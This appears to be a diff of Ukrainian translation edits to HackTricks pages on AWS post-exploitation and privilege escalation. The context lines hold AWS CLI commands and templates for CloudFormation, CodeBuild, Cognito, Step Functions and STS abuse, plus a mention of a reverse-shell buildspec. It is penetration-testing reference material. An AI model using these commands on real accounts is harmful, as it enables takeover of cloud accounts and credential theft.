{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+2
-2
@@ -1,8 +1,8 @@
|
||||
# AWS - SSO & identitystore Post Exploitation
|
||||
# AWS - SSO та identitystore Після Експлуатації
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SSO & identitystore
|
||||
## SSO та identitystore
|
||||
|
||||
Для отримання додаткової інформації перегляньте:
|
||||
|
||||
|
||||
+7
-7
@@ -4,7 +4,7 @@
|
||||
|
||||
## Step Functions
|
||||
|
||||
Для отримання додаткової інформації про цю службу AWS, перегляньте:
|
||||
Для отримання додаткової інформації про цей сервіс AWS, перегляньте:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-stepfunctions-enum.md
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### `states:RevealSecrets`
|
||||
|
||||
Цей дозвіл дозволяє **викривати секретні дані під час виконання**. Для цього потрібно встановити рівень перевірки на TRACE і параметр revealSecrets на true.
|
||||
Цей дозвіл дозволяє **викривати секретні дані під час виконання**. Для цього потрібно встановити рівень інспекції на TRACE і параметр revealSecrets на true.
|
||||
|
||||
<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -33,11 +33,11 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn <valu
|
||||
# Delete state machine alias
|
||||
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
|
||||
```
|
||||
- **Potential Impact**: Порушення критичних робочих процесів, втрата даних та простої в роботі.
|
||||
- **Потенційний вплив**: Порушення критичних робочих процесів, втрата даних та простої в роботі.
|
||||
|
||||
### `states:UpdateMapRun`
|
||||
|
||||
Зловмисник з цим дозволом зможе маніпулювати конфігурацією невдачі Map Run та паралельними налаштуваннями, зможе збільшувати або зменшувати максимальну кількість дозволених виконань дочірніх робочих процесів, що безпосередньо вплине на продуктивність сервісу. Крім того, зловмисник може підробити відсоток та кількість допустимих невдач, зможе зменшити це значення до 0, так що щоразу, коли елемент зазнає невдачі, весь запуск карти зазнає невдачі, що безпосередньо вплине на виконання станів машини та потенційно порушить критичні робочі процеси.
|
||||
Зловмисник з цим дозволом зможе маніпулювати конфігурацією невдачі Map Run та паралельними налаштуваннями, маючи можливість збільшувати або зменшувати максимальну кількість дозволених виконань дочірніх робочих процесів, що безпосередньо вплине на продуктивність сервісу. Крім того, зловмисник може підробити відсоток та кількість допустимих невдач, зменшуючи це значення до 0, так що щоразу, коли елемент зазнає невдачі, весь запуск карти зазнає невдачі, що безпосередньо вплине на виконання станів і потенційно порушить критичні робочі процеси.
|
||||
```bash
|
||||
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
|
||||
```
|
||||
@@ -45,14 +45,14 @@ aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value
|
||||
|
||||
### `states:StopExecution`
|
||||
|
||||
Зловмисник з цим дозволом може зупинити виконання будь-якої машини станів, порушуючи поточні робочі процеси та процеси. Це може призвести до незавершених транзакцій, зупинки бізнес-операцій та потенційної корупції даних.
|
||||
Зловмисник з цим дозволом може зупинити виконання будь-якої машини станів, порушуючи поточні робочі процеси та процеси. Це може призвести до незавершених транзакцій, зупинки бізнес-операцій та потенційного пошкодження даних.
|
||||
|
||||
> [!WARNING]
|
||||
> Ця дія не підтримується **експрес-машинами станів**.
|
||||
> Ця дія не підтримується **express state machines**.
|
||||
```bash
|
||||
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
|
||||
```
|
||||
- **Potential Impact**: Порушення поточних робочих процесів, операційний простій та потенційна корупція даних.
|
||||
- **Потенційний вплив**: Порушення поточних робочих процесів, операційний простій та потенційна корупція даних.
|
||||
|
||||
### `states:TagResource`, `states:UntagResource`
|
||||
|
||||
|
||||
+3
-4
@@ -1,4 +1,4 @@
|
||||
# AWS - STS Постексплуатація
|
||||
# AWS - STS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -50,13 +50,12 @@ resp=$(curl -s "$federation_endpoint" \
|
||||
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
|
||||
|
||||
|
||||
|
||||
# Give the URL to login
|
||||
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
|
||||
```
|
||||
#### aws_consoler
|
||||
|
||||
Ви можете **згенерувати посилання на веб-консоль** за допомогою [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
|
||||
Ви можете **згенерувати посилання на веб-консоль** з [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler).
|
||||
```bash
|
||||
cd /tmp
|
||||
python3 -m venv env
|
||||
@@ -80,7 +79,7 @@ aws-vault login jonsmith # Open a browser logged as jonsmith
|
||||
|
||||
### **Обхід обмежень User-Agent з Python**
|
||||
|
||||
Якщо існує **обмеження на виконання певних дій на основі user agent** (наприклад, обмеження використання бібліотеки python boto3 на основі user agent), можна використовувати попередню техніку для **підключення до веб-консолі через браузер**, або ви можете безпосередньо **змінити user-agent boto3**, виконавши:
|
||||
Якщо існує **обмеження на виконання певних дій на основі user agent** (наприклад, обмеження використання бібліотеки python boto3 на основі user agent), можливо використовувати попередню техніку для **підключення до веб-консолі через браузер**, або ви можете безпосередньо **змінити user-agent boto3**, виконавши:
|
||||
```bash
|
||||
# Shared by ex16x41
|
||||
# Create a client
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
# AWS - Привілейоване підвищення
|
||||
# AWS - Підвищення Привілеїв
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Привілейоване підвищення в AWS
|
||||
## Підвищення Привілеїв в AWS
|
||||
|
||||
Спосіб підвищити свої привілеї в AWS - це мати достатньо дозволів, щоб, так чи інакше, отримати доступ до привілеїв інших ролей/користувачів/груп. Ланцюгове підвищення, поки ви не отримаєте адміністративний доступ до організації.
|
||||
|
||||
|
||||
+4
-4
@@ -12,7 +12,7 @@
|
||||
|
||||
### `apigateway:POST`
|
||||
|
||||
З цією дозволом ви можете генерувати ключі API для налаштованих API (по регіону).
|
||||
З цим дозволом ви можете генерувати ключі API для налаштованих API (по регіону).
|
||||
```bash
|
||||
aws --region <region> apigateway create-api-key
|
||||
```
|
||||
@@ -35,7 +35,7 @@ aws apigateway update-rest-api \
|
||||
--rest-api-id api-id \
|
||||
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
|
||||
```
|
||||
**Потенційний вплив:** Ви, зазвичай, не зможете підвищити привілеї безпосередньо за допомогою цієї техніки, але ви можете отримати доступ до чутливої інформації.
|
||||
**Потенційний вплив:** Зазвичай ви не зможете безпосередньо підвищити привілеї за допомогою цієї техніки, але ви можете отримати доступ до чутливої інформації.
|
||||
|
||||
### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole`
|
||||
|
||||
@@ -63,7 +63,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
> [!NOTE]
|
||||
> Потрібно тестування
|
||||
|
||||
Зловмисник з правами `apigateway:UpdateAuthorizer` та `apigateway:CreateDeployment` може **модифікувати існуючий авторизатор API Gateway**, щоб обійти перевірки безпеки або виконати довільний код під час виконання запитів API.
|
||||
Зловмисник з правами `apigateway:UpdateAuthorizer` та `apigateway:CreateDeployment` може **модифікувати існуючий авторизатор API Gateway**, щоб обійти перевірки безпеки або виконати довільний код під час виконання запитів до API.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
AUTHORIZER_ID="your-authorizer-id"
|
||||
@@ -82,7 +82,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
> [!NOTE]
|
||||
> Потрібно тестування
|
||||
|
||||
Зловмисник з дозволом `apigateway:UpdateVpcLink` може **змінити існуюче VPC посилання, щоб вказати на інший мережевий балансувальник навантаження, потенційно перенаправляючи приватний API-трафік на несанкціоновані або шкідливі ресурси**.
|
||||
Зловмисник з дозволом `apigateway:UpdateVpcLink` може **змінити існуюче VPC Link, щоб вказати на інший Network Load Balancer, потенційно перенаправляючи приватний API-трафік на несанкціоновані або шкідливі ресурси**.
|
||||
```bash
|
||||
bashCopy codeVPC_LINK_ID="your-vpc-link-id"
|
||||
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
|
||||
|
||||
+4
-4
@@ -4,7 +4,7 @@
|
||||
|
||||
## cloudformation
|
||||
|
||||
Для отримання додаткової інформації про cloudformation дивіться:
|
||||
Для отримання додаткової інформації про cloudformation перегляньте:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
@@ -28,7 +28,7 @@ iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
|
||||
|
||||
### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`)
|
||||
|
||||
У цьому випадку ви можете **зловживати існуючим стеком cloudformation**, щоб оновити його та ескалувати привілеї, як у попередньому сценарії:
|
||||
У цьому випадку ви можете **зловживати існуючим стеком cloudformation**, щоб оновити його та підвищити привілеї, як у попередньому сценарії:
|
||||
```bash
|
||||
aws cloudformation update-stack \
|
||||
--stack-name privesc \
|
||||
@@ -37,7 +37,7 @@ aws cloudformation update-stack \
|
||||
--capabilities CAPABILITY_IAM \
|
||||
--region eu-west-1
|
||||
```
|
||||
`cloudformation:SetStackPolicy` дозволяє **надати собі дозвіл `UpdateStack`** на стек і виконати атаку.
|
||||
Дозвіл `cloudformation:SetStackPolicy` можна використовувати, щоб **надати собі дозвіл `UpdateStack`** на стек і виконати атаку.
|
||||
|
||||
**Потенційний вплив:** Привілейоване підвищення до ролі служби cloudformation.
|
||||
|
||||
@@ -45,7 +45,7 @@ aws cloudformation update-stack \
|
||||
|
||||
Якщо у вас є цей дозвіл, але **немає `iam:PassRole`**, ви все ще можете **оновити стеки** та зловживати **IAM ролями, які вже прикріплені**. Перегляньте попередній розділ для прикладу експлуатації (просто не вказуйте жодну роль в оновленні).
|
||||
|
||||
`cloudformation:SetStackPolicy` дозволяє **надати собі дозвіл `UpdateStack`** на стек і виконати атаку.
|
||||
Дозвіл `cloudformation:SetStackPolicy` можна використовувати, щоб **надати собі дозвіл `UpdateStack`** на стек і виконати атаку.
|
||||
|
||||
**Потенційний вплив:** Привілейоване підвищення до ролі служби cloudformation, яка вже прикріплена.
|
||||
|
||||
|
||||
+2
-2
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Зловмисник може, наприклад, використовувати **шаблон cloudformation**, який генерує **ключі для адміністратора** користувача, такі як:
|
||||
Зловмисник може, наприклад, використати **шаблон cloudformation**, який генерує **ключі для адміністратора** користувача, такі як:
|
||||
```json
|
||||
{
|
||||
"Resources": {
|
||||
@@ -62,7 +62,7 @@ aws cloudformation create-stack --stack-name privesc \
|
||||
--role arn:aws:iam::[REDACTED]:role/adminaccess \
|
||||
--capabilities CAPABILITY_IAM --region us-west-2
|
||||
```
|
||||
**Зачекайте кілька хвилин** на створення стеку, а потім **отримайте вихідні дані** стеку, де **зберігаються облікові дані**:
|
||||
**Зачекайте кілька хвилин**, поки стек буде згенеровано, а потім **отримайте вихідні дані** стека, де **зберігаються облікові дані**:
|
||||
```bash
|
||||
aws cloudformation describe-stacks \
|
||||
--stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \
|
||||
|
||||
@@ -67,7 +67,7 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
|
||||
|
||||
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
Зловмисник з правами **`iam:PassRole`, `codebuild:CreateProject` та `codebuild:StartBuild` або `codebuild:StartBuildBatch`** зможе **підвищити привілеї до будь-якої ролі IAM codebuild**, створивши запущену.
|
||||
Зловмисник з правами **`iam:PassRole`, `codebuild:CreateProject` та `codebuild:StartBuild` або `codebuild:StartBuildBatch`** зможе **підвищити привілеї до будь-якої ролі IAM Codebuild**, створивши працюючу.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Example1" }}
|
||||
@@ -114,7 +114,7 @@ aws codebuild delete-project --name codebuild-demo-project
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Приклад2" }}
|
||||
{{#tab name="Example2" }}
|
||||
```bash
|
||||
# Generated by AI, not tested
|
||||
# Create a buildspec.yml file with reverse shell command
|
||||
@@ -188,7 +188,7 @@ aws codebuild start-build --project-name codebuild-demo-project
|
||||
|
||||
### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
Як і в попередньому розділі, але **без дозволу `iam:PassRole`**, ви можете зловживати цими дозволами, щоб **модифікувати існуючі проекти Codebuild та отримати доступ до ролі, яку вони вже мають призначену**.
|
||||
Як у попередньому розділі, але **без дозволу `iam:PassRole`**, ви можете зловживати цими дозволами, щоб **модифікувати існуючі проекти Codebuild та отримати доступ до ролі, яку вони вже мають призначену**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="StartBuild" }}
|
||||
@@ -268,7 +268,7 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
|
||||
|
||||
### SSM
|
||||
|
||||
Маючи **достатньо прав для запуску сесії ssm**, можливо потрапити **в проект Codebuild**, що будується.
|
||||
Маючи **достатньо прав для запуску сесії ssm**, можна потрапити **в проект Codebuild**, що будується.
|
||||
|
||||
Проект codebuild повинен мати точку зупинки:
|
||||
|
||||
@@ -308,7 +308,7 @@ aws codebuild start-build --project-name <project-name>
|
||||
|
||||
# Wait for the reverse shell :)
|
||||
```
|
||||
Ви можете використовувати щось подібне до цього **buildspec**, щоб отримати **reverse shell**:
|
||||
Ви можете використовувати щось на зразок цього **buildspec**, щоб отримати **reverse shell**:
|
||||
```yaml:buildspec.yml
|
||||
version: 0.2
|
||||
|
||||
@@ -320,7 +320,7 @@ commands:
|
||||
**Вплив:** Пряме підвищення привілеїв до ролі, що використовується працівником AWS CodeBuild, яка зазвичай має високі привілеї.
|
||||
|
||||
> [!WARNING]
|
||||
> Зверніть увагу, що buildspec може бути очікуваний у форматі zip, тому зловмиснику потрібно буде завантажити, розпакувати, змінити `buildspec.yml` з кореневої директорії, знову запакувати та завантажити
|
||||
> Зверніть увагу, що buildspec може бути очікуваний у форматі zip, тому зловмиснику потрібно буде завантажити, розпакувати, змінити `buildspec.yml` з кореневої директорії, знову запакувати та завантажити.
|
||||
|
||||
Більше деталей можна знайти [тут](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
|
||||
|
||||
|
||||
+1
-1
@@ -26,7 +26,7 @@
|
||||
|
||||
### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution`
|
||||
|
||||
Можливо, можна змінити роль, що використовується, і команду, що виконується на codepipeline, з попередніми дозволами.
|
||||
Можливо, можна змінити роль, що використовується, і команду, що виконується в codepipeline, з попередніми дозволами.
|
||||
|
||||
### `codepipeline:pollforjobs`
|
||||
|
||||
|
||||
+3
-3
@@ -41,7 +41,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
|
||||
```
|
||||
Якщо ви вже є **учасником проекту**, ви можете використовувати дозвіл **`codestar:UpdateTeamMember`** для **оновлення вашої ролі** на власника замість `codestar:AssociateTeamMember`.
|
||||
|
||||
**Потенційний вплив:** Privesc до політики codestar, що була згенерована. Ви можете знайти приклад цієї політики в:
|
||||
**Потенційний вплив:** Privesc до політики codestar. Ви можете знайти приклад цієї політики в:
|
||||
|
||||
{{#ref}}
|
||||
codestar-createproject-codestar-associateteammember.md
|
||||
@@ -55,10 +55,10 @@ codestar-createproject-codestar-associateteammember.md
|
||||
- Цей доступ специфічно націлений на стек, пов'язаний з роллю IAM `CodeStarWorker-<generic project name>-CloudFormation`.
|
||||
2. **Оновити цільовий стек:**
|
||||
- З наданими дозволами CloudFormation продовжте оновлення вказаного стеку.
|
||||
- Ім'я стека зазвичай відповідатиме одному з двох шаблонів:
|
||||
- Ім'я стеку зазвичай відповідатиме одному з двох шаблонів:
|
||||
- `awscodestar-<generic project name>-infrastructure`
|
||||
- `awscodestar-<generic project name>-lambda`
|
||||
- Точне ім'я залежить від обраного шаблону (посилаючись на приклад експлойт-скрипта).
|
||||
- Точне ім'я залежить від обраного шаблону (зверніться до прикладу експлойт-скрипта).
|
||||
3. **Доступ і дозволи:**
|
||||
- Після оновлення ви отримуєте можливості, призначені для **CloudFormation IAM ролі**, пов'язаної зі стеком.
|
||||
- Примітка: Це не надає автоматично повних адміністративних привілеїв. Додаткові неправильно налаштовані ресурси в середовищі можуть бути необхідні для подальшого підвищення привілеїв.
|
||||
|
||||
+1
-1
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Це створена політика, до якої користувач може підвищити свої привілеї (ім'я проекту було `supercodestar`):
|
||||
Це створена політика, до якої користувач може підвищити привілеї (ім'я проекту було `supercodestar`):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
|
||||
+2
-2
@@ -32,7 +32,7 @@
|
||||
|
||||
{% file src="../../../../images/empty.zip" %}
|
||||
|
||||
Пам'ятайте, що **бакет з обома файлами має бути доступний обліковому запису жертви**.
|
||||
Пам'ятайте, що **бакет з обома файлами повинен бути доступний обліковому запису жертви**.
|
||||
|
||||
З обома завантаженими файлами ви тепер можете перейти до **експлуатації**, створюючи проект **codestar**:
|
||||
```bash
|
||||
@@ -79,6 +79,6 @@ aws codestar create-project \
|
||||
--source-code file://$SOURCE_CODE_PATH \
|
||||
--toolchain file://$TOOLCHAIN_PATH
|
||||
```
|
||||
Цей експлойт базується на **Pacu експлойті цих привілеїв**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) На ньому ви можете знайти варіацію для створення адміністраторської керованої політики для ролі замість користувача.
|
||||
Цей експлойт базується на **експлойті Pacu цих привілеїв**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) На ньому ви можете знайти варіацію для створення адміністраторської керованої політики для ролі замість користувача.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,15 +12,15 @@
|
||||
|
||||
### Збір облікових даних з Identity Pool
|
||||
|
||||
Оскільки Cognito може надавати **облікові дані IAM ролі** як **авторизованим**, так і **неавторизованим** **користувачам**, якщо ви знайдете **ID Identity Pool** програми (повинен бути закодований в ній), ви можете отримати нові облікові дані і, отже, privesc (всередині облікового запису AWS, де ви, ймовірно, раніше не мали жодних облікових даних).
|
||||
Оскільки Cognito може надавати **облікові дані IAM ролі** як **автентифікованим**, так і **неавтентифікованим** **користувачам**, якщо ви знайдете **ID Identity Pool** додатку (повинен бути закодований в ньому), ви можете отримати нові облікові дані і, отже, privesc (всередині облікового запису AWS, де ви, ймовірно, раніше не мали жодних облікових даних).
|
||||
|
||||
Для отримання додаткової інформації [**перегляньте цю сторінку**](../aws-unauthenticated-enum-access/#cognito).
|
||||
|
||||
**Потенційний вплив:** Прямий privesc до ролі сервісу, прикріпленої до неавторизованих користувачів (і, ймовірно, до тієї, що прикріплена до авторизованих користувачів).
|
||||
**Потенційний вплив:** Прямий privesc до ролі сервісу, прикріпленої до неавтентифікованих користувачів (і, ймовірно, до тієї, що прикріплена до автентифікованих користувачів).
|
||||
|
||||
### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
|
||||
|
||||
З цією дозволом ви можете **надавати будь-яку роль cognito** авторизованим/неавторизованим користувачам програми cognito.
|
||||
З цією дозволом ви можете **надавати будь-яку роль cognito** автентифікованим/неавтентифікованим користувачам додатку cognito.
|
||||
```bash
|
||||
aws cognito-identity set-identity-pool-roles \
|
||||
--identity-pool-id <identity_pool_id> \
|
||||
@@ -61,7 +61,7 @@ aws cognito-identity get-credentials-for-identity \
|
||||
--identity-id <identity_id> \
|
||||
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
|
||||
```
|
||||
Цю дозволу також можна **зловживати для дозволу базової аутентифікації**:
|
||||
Також можливо **зловживати цим дозволом, щоб дозволити базову аутентифікацію**:
|
||||
```bash
|
||||
aws cognito-identity update-identity-pool \
|
||||
--identity-pool-id <value> \
|
||||
@@ -88,11 +88,11 @@ aws cognito-idp admin-add-user-to-group \
|
||||
```bash
|
||||
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
|
||||
```
|
||||
**Потенційний вплив:** Привілейоване підвищення до інших ролей IAM Cognito.
|
||||
**Потенційний вплив:** Privesc до інших ролей IAM Cognito.
|
||||
|
||||
### `cognito-idp:AdminConfirmSignUp`
|
||||
|
||||
Цей дозвіл дозволяє **підтвердити реєстрацію**. За замовчуванням будь-хто може увійти в програми Cognito, якщо це залишити, користувач може створити обліковий запис з будь-якими даними та підтвердити його за допомогою цього дозволу.
|
||||
Ця дозволяє **підтвердити реєстрацію**. За замовчуванням будь-хто може увійти в програми Cognito, якщо це залишити, користувач може створити обліковий запис з будь-якими даними та підтвердити його за допомогою цього дозволу.
|
||||
```bash
|
||||
aws cognito-idp admin-confirm-sign-up \
|
||||
--user-pool-id <value> \
|
||||
@@ -137,7 +137,7 @@ aws cognito-idp admin-set-user-password \
|
||||
--password <value> \
|
||||
--permanent
|
||||
```
|
||||
**Потенційний вплив:** Пряме підвищення привілеїв до потенційно будь-якого користувача, отже доступ до всіх груп, членом яких є кожен користувач, та доступ до аутентифікованої IAM ролі Identity Pool.
|
||||
**Потенційний вплив:** Пряме підвищення привілеїв до потенційно будь-якого користувача, отже, доступ до всіх груп, членом яких є кожен користувач, та доступ до ролі IAM, автентифікованої через Identity Pool.
|
||||
|
||||
### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
|
||||
|
||||
@@ -148,7 +148,7 @@ aws cognito-idp admin-set-user-settings \
|
||||
--username <value> \
|
||||
--mfa-options <value>
|
||||
```
|
||||
**SetUserMFAPreference:** Схоже на попереднє, ця дозволяє використовувати для налаштування переваг MFA користувача, щоб обійти захист MFA.
|
||||
**SetUserMFAPreference:** Подібно до попереднього, цей дозвіл може бути використаний для налаштування переваг MFA користувача для обходу захисту MFA.
|
||||
```bash
|
||||
aws cognito-idp admin-set-user-mfa-preference \
|
||||
[--sms-mfa-settings <value>] \
|
||||
@@ -156,7 +156,7 @@ aws cognito-idp admin-set-user-mfa-preference \
|
||||
--username <value> \
|
||||
--user-pool-id <value>
|
||||
```
|
||||
**SetUserPoolMfaConfig**: Схоже на попереднє, ця дозволена дія може бути використана для налаштування переваг MFA пулу користувачів, щоб обійти захист MFA.
|
||||
**SetUserPoolMfaConfig**: Подібно до попереднього, цей дозвіл можна використовувати для налаштування переваг MFA користувацького пулу, щоб обійти захист MFA.
|
||||
```bash
|
||||
aws cognito-idp set-user-pool-mfa-config \
|
||||
--user-pool-id <value> \
|
||||
@@ -164,13 +164,13 @@ aws cognito-idp set-user-pool-mfa-config \
|
||||
[--software-token-mfa-configuration <value>] \
|
||||
[--mfa-configuration <value>]
|
||||
```
|
||||
**UpdateUserPool:** Також можливо оновити пул користувачів, щоб змінити політику MFA. [Перевірте cli тут](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
|
||||
**UpdateUserPool:** Також можливо оновити пул користувачів, щоб змінити політику MFA. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
|
||||
|
||||
**Potential Impact:** Непряме підвищення привілеїв до потенційно будь-якого користувача, облікові дані якого відомі атакуючому, це може дозволити обійти захист MFA.
|
||||
|
||||
### `cognito-idp:AdminUpdateUserAttributes`
|
||||
|
||||
Атакуючий з цим дозволом міг би змінити електронну пошту або номер телефону або будь-який інший атрибут користувача під його контролем, щоб спробувати отримати більше привілеїв в основному додатку.\
|
||||
Атакуючий з цим дозволом може змінити електронну пошту або номер телефону або будь-який інший атрибут користувача під його контролем, щоб спробувати отримати більше привілеїв в основному додатку.\
|
||||
Це дозволяє змінити електронну пошту або номер телефону та встановити його як перевірений.
|
||||
```bash
|
||||
aws cognito-idp admin-update-user-attributes \
|
||||
@@ -178,11 +178,11 @@ aws cognito-idp admin-update-user-attributes \
|
||||
--username <value> \
|
||||
--user-attributes <value>
|
||||
```
|
||||
**Потенційний вплив:** Потенційний непрямий підвищення привілеїв в основному додатку, що використовує Cognito User Pool, який надає привілеї на основі атрибутів користувача.
|
||||
**Потенційний вплив:** Потенційний непрямий підвищення привілеїв в основному застосунку, що використовує Cognito User Pool, який надає привілеї на основі атрибутів користувача.
|
||||
|
||||
### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
|
||||
|
||||
Зловмисник з цим дозволом може **створити новий User Pool Client менш обмежений**, ніж вже існуючі клієнти пулу. Наприклад, новий клієнт може дозволити будь-який метод аутентифікації, не мати жодного секрету, мати вимкнене відкликання токенів, дозволяти токени бути дійсними протягом більш тривалого періоду...
|
||||
Зловмисник з цим дозволом може **створити новий User Pool Client з меншими обмеженнями**, ніж вже існуючі клієнти пулу. Наприклад, новий клієнт може дозволяти будь-який метод аутентифікації, не мати жодного секрету, мати вимкнене відкликання токенів, дозволяти токени бути дійсними протягом більш тривалого періоду...
|
||||
|
||||
Те ж саме можна зробити, якщо замість створення нового клієнта, **модифікується існуючий**.
|
||||
|
||||
@@ -193,7 +193,7 @@ aws cognito-idp create-user-pool-client \
|
||||
--client-name <value> \
|
||||
[...]
|
||||
```
|
||||
**Потенційний вплив:** Потенційний непрямий privesc до авторизованого користувача Identity Pool, використаного User Pool, шляхом створення нового клієнта, який послаблює заходи безпеки і дозволяє зловмиснику увійти з користувачем, якого він зміг створити.
|
||||
**Потенційний вплив:** Потенційний непрямий підвищення привілеїв до авторизованого користувача Identity Pool, використаного User Pool, шляхом створення нового клієнта, який послаблює заходи безпеки і дозволяє зловмиснику увійти з користувачем, якого він зміг створити.
|
||||
|
||||
### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
|
||||
|
||||
@@ -230,14 +230,14 @@ aws cognito-idp create-identity-provider \
|
||||
[--attribute-mapping <value>] \
|
||||
[--idp-identifiers <value>]
|
||||
```
|
||||
**Potential Impact:** Пряме підвищення привілеїв до IAM ролі пулу ідентичностей для автентифікованих користувачів. Непряме підвищення привілеїв до інших функцій програми, що дозволяє створювати будь-якого користувача.
|
||||
**Потенційний вплив:** Пряме підвищення привілеїв до IAM ролі пулу ідентичностей для автентифікованих користувачів. Непряме підвищення привілеїв до інших функцій програми, що дозволяє створювати будь-якого користувача.
|
||||
|
||||
### cognito-sync:\* Аналіз
|
||||
|
||||
Це дуже поширений дозвіл за замовчуванням у ролях пулів ідентичностей Cognito. Навіть якщо символ підстановки в дозволах завжди виглядає погано (особливо з AWS), **надані дозволи не є надто корисними з точки зору атакуючого**.
|
||||
|
||||
Цей дозвіл дозволяє читати інформацію про використання пулів ідентичностей та ідентифікатори ідентичностей всередині пулів ідентичностей (що не є чутливою інформацією).\
|
||||
Ідентифікатори ідентичностей можуть мати [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html), які є інформацією про сесії (AWS визначає це як **збережену гру**). Можливо, що це містить якийсь вид чутливої інформації (але ймовірність досить низька). Ви можете знайти на [**сторінці перерахування**](../aws-services/aws-cognito-enum/), як отримати доступ до цієї інформації.
|
||||
Ідентифікатори ідентичностей можуть мати [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html), які призначені для них, що є інформацією про сесії (AWS визначає це як **збережену гру**). Можливо, що це містить якийсь вид чутливої інформації (але ймовірність досить низька). Ви можете знайти на [**сторінці перерахування**](../aws-services/aws-cognito-enum/) як отримати доступ до цієї інформації.
|
||||
|
||||
Атакуючий також може використовувати ці дозволи, щоб **зареєструватися в потоці Cognito, який публікує зміни** в цих датасетах або **lambda, яка спрацьовує на події cognito**. Я не бачив, щоб це використовувалося, і не очікував би чутливої інформації тут, але це не неможливо.
|
||||
|
||||
|
||||
+2
-2
@@ -52,14 +52,14 @@ aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
|
||||
> [!NOTE]
|
||||
> Зверніть увагу, що **роль** в **рядках 14, 15 та 27** повинна бути роллю, **яку може прийняти datapipeline.amazonaws.com**, а роль в **рядку 28** повинна бути **роллю, яку може прийняти ec2.amazonaws.com з профілем EC2**.
|
||||
>
|
||||
> Крім того, EC2 екземпляр матиме доступ лише до ролі, яку може прийняти EC2 екземпляр (тому ви можете вкрасти лише цю).
|
||||
